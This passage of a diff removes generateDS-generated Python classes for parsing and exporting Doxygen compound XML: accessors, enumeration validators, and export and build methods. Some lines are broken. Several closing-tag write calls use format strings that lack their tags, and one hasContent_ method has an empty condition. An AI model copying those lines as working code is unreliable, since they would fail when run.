self.location_nsprefix_ = None - self.listofallmembers = listofallmembers - self.listofallmembers_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, compounddefType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if compounddefType.subclass: - return compounddefType.subclass(*args_, **kwargs_) - else: - return compounddefType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_compoundname(self): - return self.compoundname - def set_compoundname(self, compoundname): - self.compoundname = compoundname - def get_title(self): - return self.title - def set_title(self, title): - self.title = title - def get_basecompoundref(self): - return self.basecompoundref - def set_basecompoundref(self, basecompoundref): - self.basecompoundref = basecompoundref - def add_basecompoundref(self, value): - self.basecompoundref.append(value) - def insert_basecompoundref_at(self, index, value): - self.basecompoundref.insert(index, value) - def replace_basecompoundref_at(self, index, value): - self.basecompoundref[index] = value - def get_derivedcompoundref(self): - return self.derivedcompoundref - def set_derivedcompoundref(self, derivedcompoundref): - self.derivedcompoundref = derivedcompoundref - def add_derivedcompoundref(self, value): - self.derivedcompoundref.append(value) - def insert_derivedcompoundref_at(self, index, value): - self.derivedcompoundref.insert(index, value) - def replace_derivedcompoundref_at(self, index, value): - self.derivedcompoundref[index] = value - def get_includes(self): - return self.includes - def set_includes(self, includes): - self.includes = includes - def add_includes(self, value): - self.includes.append(value) - def insert_includes_at(self, index, value): - self.includes.insert(index, value) - def replace_includes_at(self, index, value): - self.includes[index] = value - def get_includedby(self): - return self.includedby - def set_includedby(self, includedby): - self.includedby = includedby - def add_includedby(self, value): - self.includedby.append(value) - def insert_includedby_at(self, index, value): - self.includedby.insert(index, value) - def replace_includedby_at(self, index, value): - self.includedby[index] = value - def get_incdepgraph(self): - return self.incdepgraph - def set_incdepgraph(self, incdepgraph): - self.incdepgraph = incdepgraph - def get_invincdepgraph(self): - return self.invincdepgraph - def set_invincdepgraph(self, invincdepgraph): - self.invincdepgraph = invincdepgraph - def get_innerdir(self): - return self.innerdir - def set_innerdir(self, innerdir): - self.innerdir = innerdir - def add_innerdir(self, value): - self.innerdir.append(value) - def insert_innerdir_at(self, index, value): - self.innerdir.insert(index, value) - def replace_innerdir_at(self, index, value): - self.innerdir[index] = value - def get_innerfile(self): - return self.innerfile - def set_innerfile(self, innerfile): - self.innerfile = innerfile - def add_innerfile(self, value): - self.innerfile.append(value) - def insert_innerfile_at(self, index, value): - self.innerfile.insert(index, value) - def replace_innerfile_at(self, index, value): - self.innerfile[index] = value - def get_innerclass(self): - return self.innerclass - def set_innerclass(self, innerclass): - self.innerclass = innerclass - def add_innerclass(self, value): - self.innerclass.append(value) - def insert_innerclass_at(self, index, value): - self.innerclass.insert(index, value) - def replace_innerclass_at(self, index, value): - self.innerclass[index] = value - def get_innerconcept(self): - return self.innerconcept - def set_innerconcept(self, innerconcept): - self.innerconcept = innerconcept - def add_innerconcept(self, value): - self.innerconcept.append(value) - def insert_innerconcept_at(self, index, value): - self.innerconcept.insert(index, value) - def replace_innerconcept_at(self, index, value): - self.innerconcept[index] = value - def get_innernamespace(self): - return self.innernamespace - def set_innernamespace(self, innernamespace): - self.innernamespace = innernamespace - def add_innernamespace(self, value): - self.innernamespace.append(value) - def insert_innernamespace_at(self, index, value): - self.innernamespace.insert(index, value) - def replace_innernamespace_at(self, index, value): - self.innernamespace[index] = value - def get_innerpage(self): - return self.innerpage - def set_innerpage(self, innerpage): - self.innerpage = innerpage - def add_innerpage(self, value): - self.innerpage.append(value) - def insert_innerpage_at(self, index, value): - self.innerpage.insert(index, value) - def replace_innerpage_at(self, index, value): - self.innerpage[index] = value - def get_innergroup(self): - return self.innergroup - def set_innergroup(self, innergroup): - self.innergroup = innergroup - def add_innergroup(self, value): - self.innergroup.append(value) - def insert_innergroup_at(self, index, value): - self.innergroup.insert(index, value) - def replace_innergroup_at(self, index, value): - self.innergroup[index] = value - def get_qualifier(self): - return self.qualifier - def set_qualifier(self, qualifier): - self.qualifier = qualifier - def add_qualifier(self, value): - self.qualifier.append(value) - def insert_qualifier_at(self, index, value): - self.qualifier.insert(index, value) - def replace_qualifier_at(self, index, value): - self.qualifier[index] = value - def get_templateparamlist(self): - return self.templateparamlist - def set_templateparamlist(self, templateparamlist): - self.templateparamlist = templateparamlist - def get_sectiondef(self): - return self.sectiondef - def set_sectiondef(self, sectiondef): - self.sectiondef = sectiondef - def add_sectiondef(self, value): - self.sectiondef.append(value) - def insert_sectiondef_at(self, index, value): - self.sectiondef.insert(index, value) - def replace_sectiondef_at(self, index, value): - self.sectiondef[index] = value - def get_tableofcontents(self): - return self.tableofcontents - def set_tableofcontents(self, tableofcontents): - self.tableofcontents = tableofcontents - def get_requiresclause(self): - return self.requiresclause - def set_requiresclause(self, requiresclause): - self.requiresclause = requiresclause - def get_initializer(self): - return self.initializer - def set_initializer(self, initializer): - self.initializer = initializer - def get_briefdescription(self): - return self.briefdescription - def set_briefdescription(self, briefdescription): - self.briefdescription = briefdescription - def get_detaileddescription(self): - return self.detaileddescription - def set_detaileddescription(self, detaileddescription): - self.detaileddescription = detaileddescription - def get_inheritancegraph(self): - return self.inheritancegraph - def set_inheritancegraph(self, inheritancegraph): - self.inheritancegraph = inheritancegraph - def get_collaborationgraph(self): - return self.collaborationgraph - def set_collaborationgraph(self, collaborationgraph): - self.collaborationgraph = collaborationgraph - def get_programlisting(self): - return self.programlisting - def set_programlisting(self, programlisting): - self.programlisting = programlisting - def get_location(self): - return self.location - def set_location(self, location): - self.location = location - def get_listofallmembers(self): - return self.listofallmembers - def set_listofallmembers(self, listofallmembers): - self.listofallmembers = listofallmembers - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def get_kind(self): - return self.kind - def set_kind(self, kind): - self.kind = kind - def get_language(self): - return self.language - def set_language(self, language): - self.language = language - def get_prot(self): - return self.prot - def set_prot(self, prot): - self.prot = prot - def get_final(self): - return self.final - def set_final(self, final): - self.final = final - def get_inline(self): - return self.inline - def set_inline(self, inline): - self.inline = inline - def get_sealed(self): - return self.sealed - def set_sealed(self, sealed): - self.sealed = sealed - def get_abstract(self): - return self.abstract - def set_abstract(self, abstract): - self.abstract = abstract - def validate_DoxCompoundKind(self, value): - # Validate type DoxCompoundKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['class', 'struct', 'union', 'interface', 'protocol', 'category', 'exception', 'service', 'singleton', 'module', 'type', 'file', 'namespace', 'group', 'page', 'example', 'dir', 'concept'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxCompoundKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxLanguage(self, value): - # Validate type DoxLanguage, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['Unknown', 'IDL', 'Java', 'C#', 'D', 'PHP', 'Objective-C', 'C++', 'JavaScript', 'Python', 'Fortran', 'VHDL', 'XML', 'SQL', 'Markdown', 'Slice', 'Lex'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxLanguage' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxProtectionKind(self, value): - # Validate type DoxProtectionKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['public', 'protected', 'private', 'package'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxProtectionKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxBool(self, value): - # Validate type DoxBool, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['yes', 'no'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxBool' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.compoundname is not None or - self.title is not None or - self.basecompoundref or - self.derivedcompoundref or - self.includes or - self.includedby or - self.incdepgraph is not None or - self.invincdepgraph is not None or - self.innerdir or - self.innerfile or - self.innerclass or - self.innerconcept or - self.innernamespace or - self.innerpage or - self.innergroup or - self.qualifier or - self.templateparamlist is not None or - self.sectiondef or - self.tableofcontents is not None or - self.requiresclause is not None or - self.initializer is not None or - self.briefdescription is not None or - self.detaileddescription is not None or - self.inheritancegraph is not None or - self.collaborationgraph is not None or - self.programlisting is not None or - self.location is not None or - self.listofallmembers is not None - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='compounddefType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('compounddefType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'compounddefType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='compounddefType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='compounddefType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='compounddefType'): - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - if self.kind is not None and 'kind' not in already_processed: - already_processed.add('kind') - outfile.write(' kind=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.kind), input_name='kind')), )) - if self.language is not None and 'language' not in already_processed: - already_processed.add('language') - outfile.write(' language=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.language), input_name='language')), )) - if self.prot is not None and 'prot' not in already_processed: - already_processed.add('prot') - outfile.write(' prot=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.prot), input_name='prot')), )) - if self.final is not None and 'final' not in already_processed: - already_processed.add('final') - outfile.write(' final=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.final), input_name='final')), )) - if self.inline is not None and 'inline' not in already_processed: - already_processed.add('inline') - outfile.write(' inline=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.inline), input_name='inline')), )) - if self.sealed is not None and 'sealed' not in already_processed: - already_processed.add('sealed') - outfile.write(' sealed=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.sealed), input_name='sealed')), )) - if self.abstract is not None and 'abstract' not in already_processed: - already_processed.add('abstract') - outfile.write(' abstract=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.abstract), input_name='abstract')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='compounddefType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.compoundname is not None: - namespaceprefix_ = self.compoundname_nsprefix_ + ':' if (UseCapturedNS_ and self.compoundname_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%scompoundname>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.compoundname), input_name='compoundname')), namespaceprefix_ , eol_)) - if self.title is not None: - namespaceprefix_ = self.title_nsprefix_ + ':' if (UseCapturedNS_ and self.title_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%stitle>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.title), input_name='title')), namespaceprefix_ , eol_)) - for basecompoundref_ in self.basecompoundref: - namespaceprefix_ = self.basecompoundref_nsprefix_ + ':' if (UseCapturedNS_ and self.basecompoundref_nsprefix_) else '' - basecompoundref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='basecompoundref', pretty_print=pretty_print) - for derivedcompoundref_ in self.derivedcompoundref: - namespaceprefix_ = self.derivedcompoundref_nsprefix_ + ':' if (UseCapturedNS_ and self.derivedcompoundref_nsprefix_) else '' - derivedcompoundref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='derivedcompoundref', pretty_print=pretty_print) - for includes_ in self.includes: - namespaceprefix_ = self.includes_nsprefix_ + ':' if (UseCapturedNS_ and self.includes_nsprefix_) else '' - includes_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='includes', pretty_print=pretty_print) - for includedby_ in self.includedby: - namespaceprefix_ = self.includedby_nsprefix_ + ':' if (UseCapturedNS_ and self.includedby_nsprefix_) else '' - includedby_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='includedby', pretty_print=pretty_print) - if self.incdepgraph is not None: - namespaceprefix_ = self.incdepgraph_nsprefix_ + ':' if (UseCapturedNS_ and self.incdepgraph_nsprefix_) else '' - self.incdepgraph.export(outfile, level, namespaceprefix_, namespacedef_='', name_='incdepgraph', pretty_print=pretty_print) - if self.invincdepgraph is not None: - namespaceprefix_ = self.invincdepgraph_nsprefix_ + ':' if (UseCapturedNS_ and self.invincdepgraph_nsprefix_) else '' - self.invincdepgraph.export(outfile, level, namespaceprefix_, namespacedef_='', name_='invincdepgraph', pretty_print=pretty_print) - for innerdir_ in self.innerdir: - namespaceprefix_ = self.innerdir_nsprefix_ + ':' if (UseCapturedNS_ and self.innerdir_nsprefix_) else '' - innerdir_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='innerdir', pretty_print=pretty_print) - for innerfile_ in self.innerfile: - namespaceprefix_ = self.innerfile_nsprefix_ + ':' if (UseCapturedNS_ and self.innerfile_nsprefix_) else '' - innerfile_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='innerfile', pretty_print=pretty_print) - for innerclass_ in self.innerclass: - namespaceprefix_ = self.innerclass_nsprefix_ + ':' if (UseCapturedNS_ and self.innerclass_nsprefix_) else '' - innerclass_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='innerclass', pretty_print=pretty_print) - for innerconcept_ in self.innerconcept: - namespaceprefix_ = self.innerconcept_nsprefix_ + ':' if (UseCapturedNS_ and self.innerconcept_nsprefix_) else '' - innerconcept_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='innerconcept', pretty_print=pretty_print) - for innernamespace_ in self.innernamespace: - namespaceprefix_ = self.innernamespace_nsprefix_ + ':' if (UseCapturedNS_ and self.innernamespace_nsprefix_) else '' - innernamespace_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='innernamespace', pretty_print=pretty_print) - for innerpage_ in self.innerpage: - namespaceprefix_ = self.innerpage_nsprefix_ + ':' if (UseCapturedNS_ and self.innerpage_nsprefix_) else '' - innerpage_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='innerpage', pretty_print=pretty_print) - for innergroup_ in self.innergroup: - namespaceprefix_ = self.innergroup_nsprefix_ + ':' if (UseCapturedNS_ and self.innergroup_nsprefix_) else '' - innergroup_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='innergroup', pretty_print=pretty_print) - for qualifier_ in self.qualifier: - namespaceprefix_ = self.qualifier_nsprefix_ + ':' if (UseCapturedNS_ and self.qualifier_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%squalifier>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(qualifier_), input_name='qualifier')), namespaceprefix_ , eol_)) - if self.templateparamlist is not None: - namespaceprefix_ = self.templateparamlist_nsprefix_ + ':' if (UseCapturedNS_ and self.templateparamlist_nsprefix_) else '' - self.templateparamlist.export(outfile, level, namespaceprefix_, namespacedef_='', name_='templateparamlist', pretty_print=pretty_print) - for sectiondef_ in self.sectiondef: - namespaceprefix_ = self.sectiondef_nsprefix_ + ':' if (UseCapturedNS_ and self.sectiondef_nsprefix_) else '' - sectiondef_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='sectiondef', pretty_print=pretty_print) - if self.tableofcontents is not None: - namespaceprefix_ = self.tableofcontents_nsprefix_ + ':' if (UseCapturedNS_ and self.tableofcontents_nsprefix_) else '' - self.tableofcontents.export(outfile, level, namespaceprefix_, namespacedef_='', name_='tableofcontents', pretty_print=pretty_print) - if self.requiresclause is not None: - namespaceprefix_ = self.requiresclause_nsprefix_ + ':' if (UseCapturedNS_ and self.requiresclause_nsprefix_) else '' - self.requiresclause.export(outfile, level, namespaceprefix_, namespacedef_='', name_='requiresclause', pretty_print=pretty_print) - if self.initializer is not None: - namespaceprefix_ = self.initializer_nsprefix_ + ':' if (UseCapturedNS_ and self.initializer_nsprefix_) else '' - self.initializer.export(outfile, level, namespaceprefix_, namespacedef_='', name_='initializer', pretty_print=pretty_print) - if self.briefdescription is not None: - namespaceprefix_ = self.briefdescription_nsprefix_ + ':' if (UseCapturedNS_ and self.briefdescription_nsprefix_) else '' - self.briefdescription.export(outfile, level, namespaceprefix_, namespacedef_='', name_='briefdescription', pretty_print=pretty_print) - if self.detaileddescription is not None: - namespaceprefix_ = self.detaileddescription_nsprefix_ + ':' if (UseCapturedNS_ and self.detaileddescription_nsprefix_) else '' - self.detaileddescription.export(outfile, level, namespaceprefix_, namespacedef_='', name_='detaileddescription', pretty_print=pretty_print) - if self.inheritancegraph is not None: - namespaceprefix_ = self.inheritancegraph_nsprefix_ + ':' if (UseCapturedNS_ and self.inheritancegraph_nsprefix_) else '' - self.inheritancegraph.export(outfile, level, namespaceprefix_, namespacedef_='', name_='inheritancegraph', pretty_print=pretty_print) - if self.collaborationgraph is not None: - namespaceprefix_ = self.collaborationgraph_nsprefix_ + ':' if (UseCapturedNS_ and self.collaborationgraph_nsprefix_) else '' - self.collaborationgraph.export(outfile, level, namespaceprefix_, namespacedef_='', name_='collaborationgraph', pretty_print=pretty_print) - if self.programlisting is not None: - namespaceprefix_ = self.programlisting_nsprefix_ + ':' if (UseCapturedNS_ and self.programlisting_nsprefix_) else '' - self.programlisting.export(outfile, level, namespaceprefix_, namespacedef_='', name_='programlisting', pretty_print=pretty_print) - if self.location is not None: - namespaceprefix_ = self.location_nsprefix_ + ':' if (UseCapturedNS_ and self.location_nsprefix_) else '' - self.location.export(outfile, level, namespaceprefix_, namespacedef_='', name_='location', pretty_print=pretty_print) - if self.listofallmembers is not None: - namespaceprefix_ = self.listofallmembers_nsprefix_ + ':' if (UseCapturedNS_ and self.listofallmembers_nsprefix_) else '' - self.listofallmembers.export(outfile, level, namespaceprefix_, namespacedef_='', name_='listofallmembers', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - value = find_attr_value_('kind', node) - if value is not None and 'kind' not in already_processed: - already_processed.add('kind') - self.kind = value - self.validate_DoxCompoundKind(self.kind) # validate type DoxCompoundKind - value = find_attr_value_('language', node) - if value is not None and 'language' not in already_processed: - already_processed.add('language') - self.language = value - self.validate_DoxLanguage(self.language) # validate type DoxLanguage - value = find_attr_value_('prot', node) - if value is not None and 'prot' not in already_processed: - already_processed.add('prot') - self.prot = value - self.validate_DoxProtectionKind(self.prot) # validate type DoxProtectionKind - value = find_attr_value_('final', node) - if value is not None and 'final' not in already_processed: - already_processed.add('final') - self.final = value - self.validate_DoxBool(self.final) # validate type DoxBool - value = find_attr_value_('inline', node) - if value is not None and 'inline' not in already_processed: - already_processed.add('inline') - self.inline = value - self.validate_DoxBool(self.inline) # validate type DoxBool - value = find_attr_value_('sealed', node) - if value is not None and 'sealed' not in already_processed: - already_processed.add('sealed') - self.sealed = value - self.validate_DoxBool(self.sealed) # validate type DoxBool - value = find_attr_value_('abstract', node) - if value is not None and 'abstract' not in already_processed: - already_processed.add('abstract') - self.abstract = value - self.validate_DoxBool(self.abstract) # validate type DoxBool - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'compoundname': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'compoundname') - value_ = self.gds_validate_string(value_, node, 'compoundname') - self.compoundname = value_ - self.compoundname_nsprefix_ = child_.prefix - elif nodeName_ == 'title': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'title') - value_ = self.gds_validate_string(value_, node, 'title') - self.title = value_ - self.title_nsprefix_ = child_.prefix - elif nodeName_ == 'basecompoundref': - obj_ = compoundRefType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.basecompoundref.append(obj_) - obj_.original_tagname_ = 'basecompoundref' - elif nodeName_ == 'derivedcompoundref': - obj_ = compoundRefType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.derivedcompoundref.append(obj_) - obj_.original_tagname_ = 'derivedcompoundref' - elif nodeName_ == 'includes': - obj_ = incType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.includes.append(obj_) - obj_.original_tagname_ = 'includes' - elif nodeName_ == 'includedby': - obj_ = incType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.includedby.append(obj_) - obj_.original_tagname_ = 'includedby' - elif nodeName_ == 'incdepgraph': - obj_ = graphType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.incdepgraph = obj_ - obj_.original_tagname_ = 'incdepgraph' - elif nodeName_ == 'invincdepgraph': - obj_ = graphType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.invincdepgraph = obj_ - obj_.original_tagname_ = 'invincdepgraph' - elif nodeName_ == 'innerdir': - obj_ = refType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.innerdir.append(obj_) - obj_.original_tagname_ = 'innerdir' - elif nodeName_ == 'innerfile': - obj_ = refType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.innerfile.append(obj_) - obj_.original_tagname_ = 'innerfile' - elif nodeName_ == 'innerclass': - obj_ = refType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.innerclass.append(obj_) - obj_.original_tagname_ = 'innerclass' - elif nodeName_ == 'innerconcept': - obj_ = refType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.innerconcept.append(obj_) - obj_.original_tagname_ = 'innerconcept' - elif nodeName_ == 'innernamespace': - obj_ = refType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.innernamespace.append(obj_) - obj_.original_tagname_ = 'innernamespace' - elif nodeName_ == 'innerpage': - obj_ = refType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.innerpage.append(obj_) - obj_.original_tagname_ = 'innerpage' - elif nodeName_ == 'innergroup': - obj_ = refType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.innergroup.append(obj_) - obj_.original_tagname_ = 'innergroup' - elif nodeName_ == 'qualifier': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'qualifier') - value_ = self.gds_validate_string(value_, node, 'qualifier') - self.qualifier.append(value_) - self.qualifier_nsprefix_ = child_.prefix - elif nodeName_ == 'templateparamlist': - obj_ = templateparamlistType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.templateparamlist = obj_ - obj_.original_tagname_ = 'templateparamlist' - elif nodeName_ == 'sectiondef': - obj_ = sectiondefType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.sectiondef.append(obj_) - obj_.original_tagname_ = 'sectiondef' - elif nodeName_ == 'tableofcontents': - obj_ = tableofcontentsType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.tableofcontents = obj_ - obj_.original_tagname_ = 'tableofcontents' - elif nodeName_ == 'requiresclause': - obj_ = linkedTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.requiresclause = obj_ - obj_.original_tagname_ = 'requiresclause' - elif nodeName_ == 'initializer': - obj_ = linkedTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.initializer = obj_ - obj_.original_tagname_ = 'initializer' - elif nodeName_ == 'briefdescription': - obj_ = descriptionType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.briefdescription = obj_ - obj_.original_tagname_ = 'briefdescription' - elif nodeName_ == 'detaileddescription': - obj_ = descriptionType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.detaileddescription = obj_ - obj_.original_tagname_ = 'detaileddescription' - elif nodeName_ == 'inheritancegraph': - obj_ = graphType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.inheritancegraph = obj_ - obj_.original_tagname_ = 'inheritancegraph' - elif nodeName_ == 'collaborationgraph': - obj_ = graphType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.collaborationgraph = obj_ - obj_.original_tagname_ = 'collaborationgraph' - elif nodeName_ == 'programlisting': - obj_ = listingType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.programlisting = obj_ - obj_.original_tagname_ = 'programlisting' - elif nodeName_ == 'location': - obj_ = locationType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.location = obj_ - obj_.original_tagname_ = 'location' - elif nodeName_ == 'listofallmembers': - obj_ = listofallmembersType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.listofallmembers = obj_ - obj_.original_tagname_ = 'listofallmembers' -# end class compounddefType - - -class qualifier(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, qualifier) - if subclass is not None: - return subclass(*args_, **kwargs_) - if qualifier.subclass: - return qualifier.subclass(*args_, **kwargs_) - else: - return qualifier(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='qualifier', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('qualifier') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'qualifier': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='qualifier') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='qualifier', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='qualifier'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='qualifier', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class qualifier - - -class listofallmembersType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, member=None, gds_collector_=None, 